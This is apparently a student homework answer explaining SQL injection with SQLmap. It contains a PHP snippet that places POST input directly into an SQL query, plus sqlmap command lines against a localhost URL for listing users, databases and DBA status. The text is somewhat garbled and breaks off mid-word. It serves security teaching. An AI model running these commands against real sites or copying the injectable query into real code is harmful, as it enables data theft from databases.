Question

SQLmap

• A numbered step - by - step explanation of the attack (sscreenshots may help)).. The ex - planation should be of the level that any passing student of this class could replicate the attack with a few hours work..

• A brief summary of any theory (ttechnical theory,, security principles,, etc..)) that might be relevant to the attack..

• Supply a brief explanation of how the attack works..

Answer 1

SQLMAp is an open source tool. This is used for automating the task of detection and exploiatation of sql injection flaw in the web application.

This supports the below Database management systems
Mysql,MSSQLserver,sybase, MS Access oracle etc...

Full support for six SQL injection techniques: boolean-based blind, time-based blind, error-based, UNION query, stacked queries and out-of-band.
Support to directly connect to the database without passing via a SQL injection, by providing DBMS credentials, IP address, port and database name.

Example 1

Consider the following php code segment:

$variable = $_POST['input'];
mysql_query("INSERT INTO `table` (`column`) VALUES ('$variable')");

INSTALL SQLMAP AND LET US START USING THE BELOW

SYNTAX TO SHOW SQLMAP HELP

python sqlmap.py --help

GENERAL SYNTAX

python sqlmap.py -u "http(s)://target[:port]/[...]/[page]?param=val[&...]"

python sqlmap.py -u "http://127.0.0.1:8O80/groups/productsCatalouge.php?category=1"

EXTRACTING DATA FROM DATABASES
RECOVER SESSION USER USING SQLMAP.
--current-user

DETECT CURRENT DATABASE USING SQLMAP.
--current-db

FIND OUT IF SESSION USER IS DATABASE ADMINISTRATOR USING SQLMAP.
--is-dba

LIST DATABASE SYSTEM USERS USING SQLMAP.
--users

LIST DATABASES USING SQLMAP.
--dbs
Enume

Once you inject into database using above queries you can get data what ever you want. This is how we can inject into a data base and alter data.